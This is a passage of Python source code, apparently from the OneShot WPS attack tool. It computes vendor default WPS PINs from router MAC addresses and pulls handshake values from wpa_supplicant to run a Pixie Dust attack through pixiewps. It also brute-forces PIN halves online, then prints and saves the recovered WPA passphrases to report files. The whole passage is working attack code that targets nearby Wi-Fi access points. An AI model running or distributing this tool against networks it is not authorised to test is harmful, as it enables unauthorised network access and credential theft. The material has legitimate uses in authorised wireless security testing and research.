'14B968', '2008ED', '2469A5', '346BD3', '786A89', '88E3AB', '9CC172', 'ACE215', 'D07AB5', 'CCA223', 'E8CD2D', 'F80113', 'F83DFF'), 260 | 'pinH108L': ('4C09B4', '4CAC0A', '84742A4', '9CD24B', 'B075D5', 'C864C7', 'DC028E', 'FCC897'), 261 | 'pinONO': ('5C353B', 'DC537C') 262 | } 263 | res = [] 264 | for algo_id, masks in algorithms.items(): 265 | if mac.startswith(masks): 266 | res.append(algo_id) 267 | return res 268 | 269 | def pin24(self, mac): 270 | return mac.integer & 0xFFFFFF 271 | 272 | def pin28(self, mac): 273 | return mac.integer & 0xFFFFFFF 274 | 275 | def pin32(self, mac): 276 | return mac.integer % 0x100000000 277 | 278 | def pinDLink(self, mac): 279 | # Get the NIC part 280 | nic = mac.integer & 0xFFFFFF 281 | # Calculating pin 282 | pin = nic ^ 0x55AA55 283 | pin ^= (((pin & 0xF) << 4) + 284 | ((pin & 0xF) << 8) + 285 | ((pin & 0xF) << 12) + 286 | ((pin & 0xF) << 16) + 287 | ((pin & 0xF) << 20)) 288 | pin %= int(10e6) 289 | if pin < int(10e5): 290 | pin += ((pin % 9) * int(10e5)) + int(10e5) 291 | return pin 292 | 293 | def pinDLink1(self, mac): 294 | mac.integer += 1 295 | return self.pinDLink(mac) 296 | 297 | def pinASUS(self, mac): 298 | b = [int(i, 16) for i in mac.string.split(':')] 299 | pin = '' 300 | for i in range(7): 301 | pin += str((b[i % 6] + b[5]) % (10 - (i + b[1] + b[2] + b[3] + b[4] + b[5]) % 7)) 302 | return int(pin) 303 | 304 | def pinAirocon(self, mac): 305 | b = [int(i, 16) for i in mac.string.split(':')] 306 | pin = ((b[0] + b[1]) % 10)\ 307 | + (((b[5] + b[0]) % 10) * 10)\ 308 | + (((b[4] + b[5]) % 10) * 100)\ 309 | + (((b[3] + b[4]) % 10) * 1000)\ 310 | + (((b[2] + b[3]) % 10) * 10000)\ 311 | + (((b[1] + b[2]) % 10) * 100000)\ 312 | + (((b[0] + b[1]) % 10) * 1000000) 313 | return pin 314 | 315 | 316 | def recvuntil(pipe, what): 317 | s = '' 318 | while True: 319 | inp = pipe.stdout.read(1) 320 | if inp == '': 321 | return s 322 | s += inp 323 | if what in s: 324 | return s 325 | 326 | 327 | def get_hex(line): 328 | a = line.split(':', 3) 329 | return a[2].replace(' ', '').upper() 330 | 331 | 332 | class PixiewpsData: 333 | def __init__(self): 334 | self.pke = '' 335 | self.pkr = '' 336 | self.e_hash1 = '' 337 | self.e_hash2 = '' 338 | self.authkey = '' 339 | self.e_nonce = '' 340 | 341 | def clear(self): 342 | self.__init__() 343 | 344 | def got_all(self): 345 | return (self.pke and self.pkr and self.e_nonce and self.authkey 346 | and self.e_hash1 and self.e_hash2) 347 | 348 | def get_pixie_cmd(self, full_range=False): 349 | pixiecmd = "pixiewps --pke {} --pkr {} --e-hash1 {}"\ 350 | " --e-hash2 {} --authkey {} --e-nonce {}".format( 351 | self.pke, self.pkr, self.e_hash1, 352 | self.e_hash2, self.authkey, self.e_nonce) 353 | if full_range: 354 | pixiecmd += ' --force' 355 | return pixiecmd 356 | 357 | 358 | class ConnectionStatus: 359 | def __init__(self): 360 | self.status = '' # Must be WSC_NACK, WPS_FAIL or GOT_PSK 361 | self.last_m_message = 0 362 | self.essid = '' 363 | self.wpa_psk = '' 364 | 365 | def isFirstHalfValid(self): 366 | return self.last_m_message > 5 367 | 368 | def clear(self): 369 | self.__init__() 370 | 371 | 372 | class BruteforceStatus: 373 | def __init__(self): 374 | self.start_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") 375 | self.mask = '' 376 | self.last_attempt_time = time.time() # Last PIN attempt start time 377 | self.attempts_times = collections.deque(maxlen=15) 378 | 379 | self.counter = 0 380 | self.statistics_period = 5 381 | 382 | def display_status(self): 383 | average_pin_time = statistics.mean(self.attempts_times) 384 | if len(self.mask) == 4: 385 | percentage = int(self.mask) / 11000 * 100 386 | else: 387 | percentage = ((10000 / 11000) + (int(self.mask[4:]) / 11000)) * 100 388 | print('[*] {:.2f}% complete @ {} ({:.2f} seconds/pin)'.format( 389 | percentage, self.start_time, average_pin_time)) 390 | 391 | def registerAttempt(self, mask): 392 | self.mask = mask 393 | self.counter += 1 394 | current_time = time.time() 395 | self.attempts_times.append(current_time - self.last_attempt_time) 396 | self.last_attempt_time = current_time 397 | if self.counter == self.statistics_period: 398 | self.counter = 0 399 | self.display_status() 400 | 401 | def clear(self): 402 | self.__init__() 403 | 404 | 405 | class Companion: 406 | """Main application part""" 407 | def __init__(self, interface, save_result=False, print_debug=False): 408 | self.interface = interface 409 | self.save_result = save_result 410 | self.print_debug = print_debug 411 | 412 | self.tempdir = tempfile.mkdtemp() 413 | with tempfile.NamedTemporaryFile(mode='w', suffix='.conf', delete=False) as temp: 414 | temp.write('ctrl_interface={}\nctrl_interface_group=root\nupdate_config=1\n'.format(self.tempdir)) 415 | self.tempconf = temp.name 416 | self.wpas_ctrl_path = f"{self.tempdir}/{interface}" 417 | self.__init_wpa_supplicant() 418 | 419 | self.res_socket_file = f"{tempfile._get_default_tempdir()}/{next(tempfile._get_candidate_names())}" 420 | self.retsock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM) 421 | self.retsock.bind(self.res_socket_file) 422 | 423 | self.pixie_creds = PixiewpsData() 424 | self.connection_status = ConnectionStatus() 425 | 426 | user_home = str(pathlib.Path.home()) 427 | self.sessions_dir = f'{user_home}/.OneShot/sessions/' 428 | self.pixiewps_dir = f'{user_home}/.OneShot/pixiewps/' 429 | self.reports_dir = os.path.dirname(os.path.realpath(__file__)) + '/reports/' 430 | if not os.path.exists(self.sessions_dir): 431 | os.makedirs(self.sessions_dir) 432 | if not os.path.exists(self.pixiewps_dir): 433 | os.makedirs(self.pixiewps_dir) 434 | 435 | self.generator = WPSpin() 436 | 437 | def __init_wpa_supplicant(self): 438 | print('[*] Running wpa_supplicant…') 439 | cmd = 'wpa_supplicant -K -d -Dnl80211,wext,hostapd,wired -i{} -c{}'.format(self.interface, self.tempconf) 440 | self.wpas = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, 441 | stderr=subprocess.STDOUT, encoding='utf-8', errors='replace') 442 | # Waiting for wpa_supplicant control interface initialization 443 | while True: 444 | ret = self.wpas.poll() 445 | if ret is not None and ret != 0: 446 | raise ValueError('wpa_supplicant returned an error: ' + self.wpas.communicate()[0]) 447 | if os.path.exists(self.wpas_ctrl_path): 448 | break 449 | time.sleep(.1) 450 | 451 | def sendOnly(self, command): 452 | """Sends command to wpa_supplicant""" 453 | self.retsock.sendto(command.encode(), self.wpas_ctrl_path) 454 | 455 | def sendAndReceive(self, command): 456 | """Sends command to wpa_supplicant and returns the reply""" 457 | self.retsock.sendto(command.encode(), self.wpas_ctrl_path) 458 | (b, address) = self.retsock.recvfrom(4096) 459 | inmsg = b.decode('utf-8', errors='replace') 460 | return inmsg 461 | 462 | @staticmethod 463 | def _explain_wpas_not_ok_status(command: str, respond: str): 464 | if command.startswith(('WPS_REG', 'WPS_PBC')): 465 | if respond == 'UNKNOWN COMMAND': 466 | return ('[!] It looks like your wpa_supplicant is compiled without WPS protocol support. ' 467 | 'Please build wpa_supplicant with WPS support ("CONFIG_WPS=y")') 468 | return '[!] Something went wrong — check out debug log' 469 | 470 | def __handle_wpas(self, pixiemode=False, pbc_mode=False, verbose=None): 471 | if not verbose: 472 | verbose = self.print_debug 473 | line = self.wpas.stdout.readline() 474 | if not line: 475 | self.wpas.wait() 476 | return False 477 | line = line.rstrip('\n') 478 | 479 | if verbose: 480 | sys.stderr.write(line + '\n') 481 | 482 | if line.startswith('WPS: '): 483 | if 'Building Message M' in line: 484 | n = int(line.split('Building Message M')[1].replace('D', '')) 485 | self.connection_status.last_m_message = n 486 | print('[*] Sending WPS Message M{}…'.format(n)) 487 | elif 'Received M' in line: 488 | n = int(line.split('Received M')[1]) 489 | self.connection_status.last_m_message = n 490 | print('[*] Received WPS Message M{}'.format(n)) 491 | if n == 5: 492 | print('[+] The first half of the PIN is valid') 493 | elif 'Enrollee Nonce' in line and 'hexdump' in line: 494 | self.pixie_creds.e_nonce = get_hex(line) 495 | assert(len(self.pixie_creds.e_nonce) == 16*2) 496 | if pixiemode: 497 | print('[P] E-Nonce: {}'.format(self.pixie_creds.e_nonce)) 498 | elif 'DH own Public Key' in line and 'hexdump' in line: 499 | self.pixie_creds.pkr = get_hex(line) 500 | assert(len(self.pixie_creds.pkr) == 192*2) 501 | if pixiemode: 502 | print('[P] PKR: {}'.format(self.pixie_creds.pkr)) 503 | elif 'DH peer Public Key' in line and 'hexdump' in line: 504 | self.pixie_creds.pke = get_hex(line) 505 | assert(len(self.pixie_creds.pke) == 192*2) 506 | if pixiemode: 507 | print('[P] PKE: {}'.format(self.pixie_creds.pke)) 508 | elif 'AuthKey' in line and 'hexdump' in line: 509 | self.pixie_creds.authkey = get_hex(line) 510 | assert(len(self.pixie_creds.authkey) == 32*2) 511 | if pixiemode: 512 | print('[P] AuthKey: {}'.format(self.pixie_creds.authkey)) 513 | elif 'E-Hash1' in line and 'hexdump' in line: 514 | self.pixie_creds.e_hash1 = get_hex(line) 515 | assert(len(self.pixie_creds.e_hash1) == 32*2) 516 | if pixiemode: 517 | print('[P] E-Hash1: {}'.format(self.pixie_creds.e_hash1)) 518 | elif 'E-Hash2' in line and 'hexdump' in line: 519 | self.pixie_creds.e_hash2 = get_hex(line) 520 | assert(len(self.pixie_creds.e_hash2) == 32*2) 521 | if pixiemode: 522 | print('[P] E-Hash2: {}'.format(self.pixie_creds.e_hash2)) 523 | elif 'Network Key' in line and 'hexdump' in line: 524 | self.connection_status.status = 'GOT_PSK' 525 | self.connection_status.wpa_psk = bytes.fromhex(get_hex(line)).decode('utf-8', errors='replace') 526 | elif ': State: ' in line: 527 | if '-> SCANNING' in line: 528 | self.connection_status.status = 'scanning' 529 | print('[*] Scanning…') 530 | elif ('WPS-FAIL' in line) and (self.connection_status.status != ''): 531 | print(line) 532 | if 'msg=5 config_error=15' in line: 533 | print('[*] Received WPS-FAIL with reason: WPS LOCKED') 534 | self.connection_status.status = 'WPS_FAIL' 535 | elif 'msg=8' in line: 536 | if 'config_error=15' in line: 537 | print('[*] Received WPS-FAIL with reason: WPS LOCKED') 538 | self.connection_status.status = 'WPS_FAIL' 539 | else: 540 | self.connection_status.status = 'WSC_NACK' 541 | print('[-] Error: PIN was wrong') 542 | elif 'config_error=2' in line: 543 | print('[*] Received WPS-FAIL with reason: CRC FAILURE') 544 | self.connection_status.status = 'WPS_FAIL' 545 | else: 546 | self.connection_status.status = 'WPS_FAIL' 547 | # elif 'NL80211_CMD_DEL_STATION' in line: 548 | # print("[!] Unexpected interference — kill NetworkManager/wpa_supplicant!") 549 | elif 'Trying to authenticate with' in line: 550 | self.connection_status.status = 'authenticating' 551 | if 'SSID' in line: 552 | self.connection_status.essid = codecs.decode("'".join(line.split("'")[1:-1]), 'unicode-escape').encode('latin1').decode('utf-8', errors='replace') 553 | print('[*] Authenticating…') 554 | elif 'Authentication response' in line: 555 | print('[+] Authenticated') 556 | elif 'Trying to associate with' in line: 557 | self.connection_status.status = 'associating' 558 | if 'SSID' in line: 559 | self.connection_status.essid = codecs.decode("'".join(line.split("'")[1:-1]), 'unicode-escape').encode('latin1').decode('utf-8', errors='replace') 560 | print('[*] Associating with AP…') 561 | elif ('Associated with' in line) and (self.interface in line): 562 | bssid = line.split()[-1].upper() 563 | if self.connection_status.essid: 564 | print('[+] Associated with {} (ESSID: {})'.format(bssid, self.connection_status.essid)) 565 | else: 566 | print('[+] Associated with {}'.format(bssid)) 567 | elif 'EAPOL: txStart' in line: 568 | self.connection_status.status = 'eapol_start' 569 | print('[*] Sending EAPOL Start…') 570 | elif 'EAP entering state IDENTITY' in line: 571 | print('[*] Received Identity Request') 572 | elif 'using real identity' in line: 573 | print('[*] Sending Identity Response…') 574 | elif pbc_mode and ('selected BSS ' in line): 575 | bssid = line.split('selected BSS ')[-1].split()[0].upper() 576 | self.connection_status.bssid = bssid 577 | print('[*] Selected AP: {}'.format(bssid)) 578 | 579 | return True 580 | 581 | def __runPixiewps(self, showcmd=False, full_range=False): 582 | print("[*] Running Pixiewps…") 583 | cmd = self.pixie_creds.get_pixie_cmd(full_range) 584 | if showcmd: 585 | print(cmd) 586 | r = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, 587 | stderr=sys.stdout, encoding='utf-8', errors='replace') 588 | print(r.stdout) 589 | if r.returncode == 0: 590 | lines = r.stdout.splitlines() 591 | for line in lines: 592 | if ('[+]' in line) and ('WPS pin' in line): 593 | pin = line.split(':')[-1].strip() 594 | if pin == '': 595 | pin = "''" 596 | return pin 597 | return False 598 | 599 | def __credentialPrint(self, wps_pin=None, wpa_psk=None, essid=None): 600 | print(f"[+] WPS PIN: '{wps_pin}'") 601 | print(f"[+] WPA PSK: '{wpa_psk}'") 602 | print(f"[+] AP SSID: '{essid}'") 603 | 604 | def __saveResult(self, bssid, essid, wps_pin, wpa_psk): 605 | if not os.path.exists(self.reports_dir): 606 | os.makedirs(self.reports_dir) 607 | filename = self.reports_dir + 'stored' 608 | dateStr = datetime.now().strftime("%d.%m.%Y %H:%M") 609 | with open(filename + '.txt', 'a', encoding='utf-8') as file: 610 | file.write('{}\nBSSID: {}\nESSID: {}\nWPS PIN: {}\nWPA PSK: {}\n\n'.format( 611 | dateStr, bssid, essid, wps_pin, wpa_psk 612 | ) 613 | ) 614 | writeTableHeader = not os.path.isfile(filename + '.csv') 615 | with open(filename + '.csv', 'a', newline='', encoding='utf-8') as file: 616 | csvWriter = csv.writer(file, delimiter=';', quoting=csv.QUOTE_ALL) 617 | if writeTableHeader: 618 | csvWriter.writerow(['Date', 'BSSID', 'ESSID', 'WPS PIN', 'WPA PSK']) 619 | csvWriter.writerow([dateStr, bssid, essid, wps_pin, wpa_psk]) 620 | print(f'[i] Credentials saved to {filename}.txt, {filename}.csv') 621 | 622 | def __savePin(self, bssid, pin): 623 | filename = self.pixiewps_dir + '{}.run'.format(bssid.replace(':', '').upper()) 624 | with open(filename, 'w') as file: 625 | file.write(pin) 626 | print('[i] PIN saved in {}'.format(filename)) 627 | 628 | def __prompt_wpspin(self, bssid): 629 | pins = self.generator.getSuggested(bssid) 630 | if len(pins) > 1: 631 | print(f'PINs generated for {bssid}:') 632 | print('{:<3} {:<10} {:<}'.format('#', 'PIN', 'Name')) 633 | for i, pin in enumerate(pins): 634 | number = '{})'.format(i + 1) 635 | line = '{:<3} {:<10} {:<}'.format( 636 | number, pin['pin'], pin['name']) 637 | print(line) 638 | while 1: 639 | pinNo = input('Select the PIN: ') 640 | try: 641 | if int(pinNo) in range(1, len(pins)+1): 642 | pin = pins[int(pinNo) - 1]['pin'] 643 | else: 644 | raise IndexError 645 | except Exception: 646 | print('Invalid number') 647 | else: 648 | break 649 | elif len(pins) == 1: 650 | pin = pins[0] 651 | print('[i] The only probable PIN is selected:', pin['name']) 652 | pin = pin['pin'] 653 | else: 654 | return None 655 | return pin 656 | 657 | def __wps_connection(self, bssid=None, pin=None, pixiemode=False, pbc_mode=False, verbose=None): 658 | if not verbose: 659 | verbose = self.print_debug 660 | self.pixie_creds.clear() 661 | self.connection_status.clear() 662 | self.wpas.stdout.read(300) # Clean the pipe 663 | if pbc_mode: 664 | if bssid: 665 | print(f"[*] Starting WPS push button connection to {bssid}…") 666 | cmd = f'WPS_PBC {bssid}' 667 | else: 668 | print("[*] Starting WPS push button connection…") 669 | cmd = 'WPS_PBC' 670 | else: 671 | print(f"[*] Trying PIN '{pin}'…") 672 | cmd = f'WPS_REG {bssid} {pin}' 673 | r = self.sendAndReceive(cmd) 674 | if 'OK' not in r: 675 | self.connection_status.status = 'WPS_FAIL' 676 | print(self._explain_wpas_not_ok_status(cmd, r)) 677 | return False 678 | 679 | while True: 680 | res = self.__handle_wpas(pixiemode=pixiemode, pbc_mode=pbc_mode, verbose=verbose) 681 | if not res: 682 | break 683 | if self.connection_status.status == 'WSC_NACK': 684 | break 685 | elif self.connection_status.status == 'GOT_PSK': 686 | break 687 | elif self.connection_status.status == 'WPS_FAIL': 688 | break 689 | 690 | self.sendOnly('WPS_CANCEL') 691 | return False 692 | 693 | def single_connection(self, bssid=None, pin=None, pixiemode=False, pbc_mode=False, showpixiecmd=False, 694 | pixieforce=False, store_pin_on_fail=False): 695 | if not pin: 696 | if pixiemode: 697 | try: 698 | # Try using the previously calculated PIN 699 | filename = self.pixiewps_dir + '{}.run'.format(bssid.replace(':', '').upper()) 700 | with open(filename, 'r') as file: 701 | t_pin = file.readline().strip() 702 | if input('[?] Use previously calculated PIN {}? [n/Y] '.format(t_pin)).lower() != 'n': 703 | pin = t_pin 704 | else: 705 | raise FileNotFoundError 706 | except FileNotFoundError: 707 | pin = self.generator.getLikely(bssid) or '12345670' 708 | elif not pbc_mode: 709 | # If not pixiemode, ask user to select a pin from the list 710 | pin = self.__prompt_wpspin(bssid) or '12345670' 711 | if pbc_mode: 712 | self.__wps_connection(bssid, pbc_mode=pbc_mode) 713 | bssid = self.connection_status.bssid 714 | pin = '' 715 | elif store_pin_on_fail: 716 | try: 717 | self.__wps_connection(bssid, pin, pixiemode) 718 | except KeyboardInterrupt: 719 | print("\nAborting…") 720 | self.__savePin(bssid, pin) 721 | return False 722 | else: 723 | self.__wps_connection(bssid, pin, pixiemode) 724 | 725 | if self.connection_status.status == 'GOT_PSK': 726 | self.__credentialPrint(pin, self.connection_status.wpa_psk, self.connection_status.essid) 727 | if self.save_result: 728 | self.__saveResult(bssid, self.connection_status.essid, pin, self.connection_status.wpa_psk) 729 | if not pbc_mode: 730 | # Try to remove temporary PIN file 731 | filename = self.pixiewps_dir + '{}.run'.format(bssid.replace(':', '').upper()) 732 | try: 733 | os.remove(filename) 734 | except FileNotFoundError: 735 | pass 736 | return True 737 | elif pixiemode: 738 | if self.pixie_creds.got_all(): 739 | pin = self.__runPixiewps(showpixiecmd, pixieforce) 740 | if pin: 741 | return self.single_connection(bssid, pin, pixiemode=False, store_pin_on_fail=True) 742 | return False 743 | else: 744 | print('[!] Not enough data to run Pixie Dust attack') 745 | return False 746 | else: 747 | if store_pin_on_fail: 748 | # Saving Pixiewps calculated PIN if can't connect 749 | self.__savePin(bssid, pin) 750 | return False 751 | 752 | def __first_half_bruteforce(self, bssid, f_half, delay=None): 753 | """ 754 | @f_half — 4-character string 755 | """ 756 | checksum = self.generator.checksum 757 | while int(f_half) < 10000: 758 | t = int(f_half + '000') 759 | pin = '{}000{}'.format(f_half, checksum(t)) 760 | self.single_connection(bssid, pin) 761 | if self.connection_status.isFirstHalfValid(): 762 | print('[+] First half found') 763 | return f_half 764 | elif self.connection_status.status == 'WPS_FAIL': 765 | print('[!] WPS transaction failed, re-trying last pin') 766 | return self.__first_half_bruteforce(bssid, f_half) 767 | f_half = str(int(f_half) + 1).zfill(4) 768 | self.bruteforce.registerAttempt(f_half) 769 | if delay: 770 | time.sleep(delay) 771 | print('[-] First half not found') 772 | return False 773 | 774 | def __second_half_bruteforce(self, bssid, f_half, s_half, delay=None): 775 | """ 776 | @f_half — 4-character string 777 | @s_half — 3-character string 778 | """ 779 | checksum = self.generator.checksum 780 | while int(s_half) < 1000: 781 | t = int(f_half + s_half) 782 | pin = '{}{}{}'.format(f_half, s_half, checksum(t)) 783 | self.single_connection(bssid, pin) 784 | if self.connection_status.last_m_message > 6: 785 | return pin 786 | elif self.connection_status.status == 'WPS_FAIL': 787 | print('[!] WPS transaction failed, re-trying last pin') 788 | return self.__second_half_bruteforce(bssid, f_half, s_half) 789 | s_half = str(int(s_half) + 1).zfill(3) 790 | self.bruteforce.registerAttempt(f_half + s_half) 791 | if delay: 792 | time.sleep(delay) 793 | return False 794 | 795 | def smart_bruteforce(self, bssid, start_pin=None, delay=None): 796 | if (not start_pin) or (len(start_pin) < 4): 797 | # Trying to restore previous session 798 | try: 799 | filename = self.sessions_dir + '{}.run'.format(bssid.replace(':', '').upper()) 800 | with open(filename, 'r') as file: 801 | if input('[?] Restore previous session for {}? [n/Y] '.format(bssid)).lower() != 'n': 802 | mask = file.readline().strip() 803 | else: 804 | raise FileNotFoundError 805 | except FileNotFoundError: 806 | mask = '0000' 807 | else: 808 | mask = start_pin[:7] 809 | 810 | try: 811 | self.bruteforce = BruteforceStatus() 812 | self.bruteforce.mask = mask 813 | if len(mask) == 4: 814 | f_half = self.__first_half_bruteforce(bssid, mask, delay) 815 | if f_half and (self.connection_status.status != 'GOT_PSK'): 816 | self.__second_half_bruteforce(bssid, f_half, '001', delay) 817 | elif len(mask) == 7: 818 | f_half = mask[:4] 819 | s_half = mask[4:] 820 | self.__second_half_bruteforce(bssid, f_half, s_half, delay) 821 | raise KeyboardInterrupt 822 | except KeyboardInterrupt: 823 | print("\nAborting…") 824 | filename = self.sessions_dir + '{}.run'.format(bssid.replace(':', '').upper()) 825 | with open(filename, 'w') as file: 826 | file.write(self.bruteforce.mask) 827 | print('[i] Session saved in {}'.format(filename)) 828 | if args.loop: 829 | raise KeyboardInterrupt 830 | 831 | def cleanup(self): 832 | self.retsock.close() 833 | self.wpas.terminate() 834 | os.remove(self.res_socket_file) 835 | shutil.rmtree(self.tempdir, ignore_errors=True) 836 | os.remove(self.tempconf) 837 | 838 | 839 | 840 | 841 | class WiFiScanner: 842 | """docstring for WiFiScanner""" 843 | def __init__(self, interface, vuln_list=None): 844 | self.interface = interface 845 | self.vuln_list = vuln_list 846 | 847 | reports_fname = os.path.dirname(os.path.realpath(__file__)) + '/reports/stored.csv' 848 | try: 849 | with open(reports_fname, 'r', newline='', encoding='utf-8', errors='replace') as file: 850 | csvReader = csv.reader(file, delimiter=';', quoting=csv.QUOTE_ALL) 851 | # Skip header 852 | next(csvReader) 853 | self.stored = [] 854 | for row in csvReader: 855 | self.stored.append( 856 | ( 857 | row[1], # BSSID 858 | row[2] # ESSID 859 | ) 860 | ) 861 | except FileNotFoundError: 862 | self.stored = [] 863 | 864 | def iw_scanner(self) -> Dict[int, dict]: 865 | """Parsing iw scan results""" 866 | def handle_network(line, result, networks): 867 | networks.append( 868 | { 869 | 'Security type': 'Unknown', 870 | 'WPS': False, 871 | 'WPS locked': False, 872 | 'Model': '', 873 | 'Model number': '', 874 | 'Device name': '' 875 | } 876 | ) 877 | networks[-1]['BSSID'] = result.group(1).upper() 878 | 879 | def handle_essid(line, result, networks): 880 | d = result.group(1) 881 | networks[-1]['ESSID'] = codecs.decode(d, 'unicode-escape').encode('latin1').decode('utf-8', errors='replace') 882 | 883 | def handle_level(line, result, networks): 884 | networks[-1]['Level'] = int(float(result.group(1))) 885 | 886 | def handle_securityType(line, result, networks): 887 | sec = networks[-1]['Security type'] 888 | if result.group(1) == 'capability': 889 | if 'Privacy' in result.group(2): 890 | sec = 'WEP' 891 | else: 892 | sec = 'Open' 893 | elif sec == 'WEP': 894 | if result.group(1) == 'RSN': 895 | sec = 'WPA2' 896 | elif result.group(1) == 'WPA': 897 | sec = 'WPA' 898 | elif sec == 'WPA': 899 | if result.group(1) == 'RSN': 900 | sec = 'WPA/WPA2' 901 | elif sec == 'WPA2': 902 | if result.group(1) == 'WPA': 903 | sec = 'WPA/WPA2' 904 | networks[-1]['Security type'] = sec 905 | 906 | def handle_wps(line, result, networks): 907 | networks[-1]['WPS'] = result.group(1) 908 | 909 | def handle_wpsLocked(line, result, networks): 910 | flag = int(result.group(1), 16) 911 | if flag: 912 | networks[-1]['WPS locked'] = True 913 | 914 | def handle_model(line, result, networks): 915 | d = result.group(1) 916 | networks[-1]['Model'] = codecs.decode(d, 'unicode-escape').encode('latin1').decode('utf-8', errors='replace') 917 | 918 | def handle_modelNumber(line, result, networks): 919 | d = result.group(1) 920 | networks[-1]['Model number'] = codecs.decode(d, 'unicode-escape').encode('latin1').decode('utf-8', errors='replace') 921 | 922 | def handle_deviceName(line, result, networks): 923 | d = result.group(1) 924 | networks[-1]['Device name'] = codecs.decode(d, 'unicode-escape').encode('latin1').decode('utf-8', errors='replace') 925 | 926 | cmd = 'iw dev {} scan'.format(self.interface) 927 | proc = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, 928 | stderr=subprocess.STDOUT, encoding='utf-8', errors='replace') 929 | lines = proc.stdout.splitlines() 930 | networks = [] 931 | matchers = { 932 | re.compile(r'BSS (\S+)( )?\(on \w+\)'): handle_network, 933 | re.compile(r'SSID: (.*)'): handle_essid, 934 | re.compile(r'signal: ([+-]?([0-9]*[.])?[0-9]+) dBm'): handle_level, 935 | re.compile(r'(capability): (.+)'): handle_securityType, 936 | re.compile(r'(RSN):\t [*] Version: (\d+)'): handle_securityType, 937 | re.compile(r'(WPA):\t [*] Version: (\d+)'): handle_securityType, 938 | re.compile(r'WPS:\t [*] Version: (([0-9]*[.])?[0-9]+)'): handle_wps, 939 | re.compile(r' [*] AP setup locked: (0x[0-9]+)'): handle_wpsLocked, 940 | re.compile(r' [*] Model: (.*)'): handle_model, 941 | re.compile(r' [*] Model Number: (.*)'): handle_modelNumber, 942 | re.compile(r' [*] Device name: (.*)'): handle_deviceName 943 | } 944 | 945 | for line in lines: 946 | if line.startswith('command failed:'): 947 | print('[!] Error:', line) 948 | return False 949 | line = line.strip('\t') 950 | for regexp, handler in matchers.items(): 951 | res = re.match(regexp, line) 952 | if res: 953 | handler(line, res, networks) 954 | 955 | # Filtering non-WPS networks 956 | networks = list(filter(lambda x: bool(x['WPS']), networks)) 957 | if not networks: 958 | return False 959 | 960 | # Sorting by signal level 961 | networks.sort(key=lambda x: x['Level'], reverse=True) 962 | 963 | # Putting a list of networks in a dictionary, where each key is a network number in list of networks 964 | network_list = {(i + 1): network for i, network in enumerate(networks)} 965 | 966 | # Printing scanning results as table 967 | def truncateStr(s, length, postfix='…'): 968 | """ 969 | Truncate string with the specified length 970 | @s — input string 971 | @length — length of output string 972 | """ 973 | if len(s) > length: 974 | k = length - len(postfix) 975 | s = s[:k] + postfix 976 | return s 977 | 978 | def colored(text, color=None): 979 | """Returns colored text""" 980 | if color: 981 | if color == 'green': 982 | text = '\033[92m{}\033[00m'.format(text) 983 | elif color == 'red': 984 | text = '\033[91m{}\033[00m'.format(text) 985 | elif color == 'yellow': 986 | text = '\033[93m{}\033[00m'.format(text) 987 | else: 988 | return text 989 | else: 990 | return text 991 | return text 992 | 993 | if self.vuln_list: 994 | print('Network marks: {1} {0} {2} {0} {3}'.format( 995 | '|', 996 | colored('Possibly vulnerable', color='green'), 997 | colored('WPS locked', color='red'), 998 | colored('Stored', color='yellow') 999 | )) 1000 | print('Networks list:') 1001 | print('{:<4} {:<18} {:<25} {:<8} {:<4} {:<27} {:<}'.format( 1002 | '#', 'BSSID', 'ESSID', 'Sec.', 'PWR', 'WSC device name', 'WSC model')) 1003 | 1004 | network_list_items = list(network_list.items()) 1005 | if args.reverse_scan: 1006 | network_list_items = network_list_items[::-1] 1007 | for n, network in network_list_items: 1008 | number = f'{n})' 1009 | model = '{} {}'.format(network['Model'], network['Model number']) 1010 | essid = truncateStr(network['ESSID'], 25) 1011 | deviceName = truncateStr(network['Device name'], 27) 1012 | line = '{:<4} {:<18} {:<25} {:<8} {:<4} {:<27} {:<}'.format( 1013 | number, network['BSSID'], essid, 1014 | network['Security type'], network['Level'], 1015 | deviceName, model 1016 | ) 1017 | if (network['BSSID'], network['ESSID']) in self.stored: 1018 | print(colored(line, color='yellow')) 1019 | elif network['WPS locked']: 1020 | print(colored(line, color='red')) 1021 | elif self.vuln_list and (model in self.vuln_list): 1022 | print(colored(line, color='green')) 1023 | proc = subprocess.Popen('termux-vibrate -f', shell=True) 1024 | proc = subprocess.Popen('play-audio knock.ogg', shell=True) 1025 | else: 1026 | print(line) 1027 | 1028 | return network_list 1029 | 1030 | def prompt_network(self) -> str: 1031 | networks = self.iw_scanner() 1032 | if not networks: 1033 | print('[-] No WPS networks found.') 1034 | return 1035 | 1036 | print("Select target in 5 seconds (Enter to refresh):") 1037 | 1038 | # Set up a 10-second timeout for input 1039 | i, o, e = select.select([sys.stdin], [], [], 10) 1040 | 1041 | if i: # User pressed Enter 1042 | input_value = sys.stdin.readline().strip() 1043 | try: 1044 | if input_value.lower() in ('r', '0', ''): 1045 | return self.prompt_network() 1046 | elif int(input_value) in networks.keys(): 1047 | return networks[int(input_value)]['BSSID'] 1048 | else: 1049 | raise ValueError 1050 | except ValueError: 1051 | print('Invalid number') 1052 | else: 1053 | # Timeout occurred, auto-refresh 1054 | print("[*] Auto-refreshing network list...") 1055 | return self.prompt_network() 1056 | 1057 | 1058 | def ifaceUp(iface, down=False): 1059 | if down: 1060 | action = 'down' 1061 | else: 1062 | action = 'up' 1063 | cmd = 'ip link set {} {}'.format(iface, action) 1064 | res = subprocess.run(cmd, shell=True, stdout=sys.stdout, stderr=sys.stdout) 1065 | if res.returncode == 0: 1066 | return True 1067 | else: 1068 | return False 1069 | 1070 | 1071 | def die(msg): 1072 | sys.stderr.write(msg + '\n') 1073 | sys.exit(1) 1074 | 1075 | 1076 | def usage(): 1077 | return """ 1078 | OneShotPin 0.0.2 (c) 2017 rofl0r, modded by drygdryg 1079 | 1080 | %(prog)s 1081 | 1082 | Required arguments: 1083 | -i, --interface= : Name of the interface to use 1084 | 1085 | Optional arguments: 1086 | -b, --bssid= : BSSID of the target AP 1087 | -p, --pin= : Use the specified pin (arbitrary string or 4/8 digit pin) 1088 | -K, --pixie-dust : Run Pixie Dust attack 1089 | -B, --bruteforce : Run online bruteforce attack 1090 | --push-button-connect : Run WPS push button connection 1091 | 1092 | Advanced arguments: 1093 | -d, --delay= : Set the delay between pin attempts [0] 1094 | -w, --write : Write AP credentials to the file on success 1095 | -F, --pixie-force : Run Pixiewps with --force option (bruteforce full 